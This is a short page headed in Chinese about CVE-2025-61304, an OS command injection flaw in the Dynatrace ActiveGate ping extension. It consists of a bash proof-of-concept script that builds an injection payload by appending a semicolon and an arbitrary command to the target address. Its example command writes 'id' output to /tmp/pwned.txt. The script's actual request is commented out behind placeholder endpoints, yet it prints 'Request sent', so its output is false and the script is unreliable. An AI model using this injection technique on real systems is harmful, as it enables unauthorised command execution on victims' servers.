CVE-2025-61304: Dynatrace ActiveGate ping扩展OS命令注入漏洞

#!/bin/bash # CVE-2025-61304 PoC - Dynatrace ActiveGate ping extension OS Command Injection # Target: Dynatrace ActiveGate ping extension < 1.016 TARGET_HOST="$1" INJECTED_CMD="$2" if [ -z "$TARGET_HOST" ] || [ -z "$INJECTED_CMD" ]; then echo "Usage: $0 <target_ip> <command>" echo "Example: $0 192.168.1.1 'id > /tmp/pwned.txt'" exit 1 fi # Malicious payload construction using command injection characters # The ping extension fails to sanitize IP address input PAYLOAD="${TARGET_HOST}; ${INJECTED_CMD}" # Send crafted request to ping extension endpoint # This is a conceptual PoC - actual exploitation requires understanding # the specific API endpoint and request format of the ping extension echo "[*] Target: $TARGET_HOST" echo "[*] Injected Command: $INJECTED_CMD" echo "[*] Payload: $PAYLOAD" echo "[!] Sending malicious request..." # Note: Replace the curl command with actual vulnerable endpoint # curl -X POST "http://<activegate-host>:<port>/api/ping" \ # -d "{"target": "$PAYLOAD"}" \ # -H "Content-Type: application/json" echo "[+] Request sent. Check for command execution on target."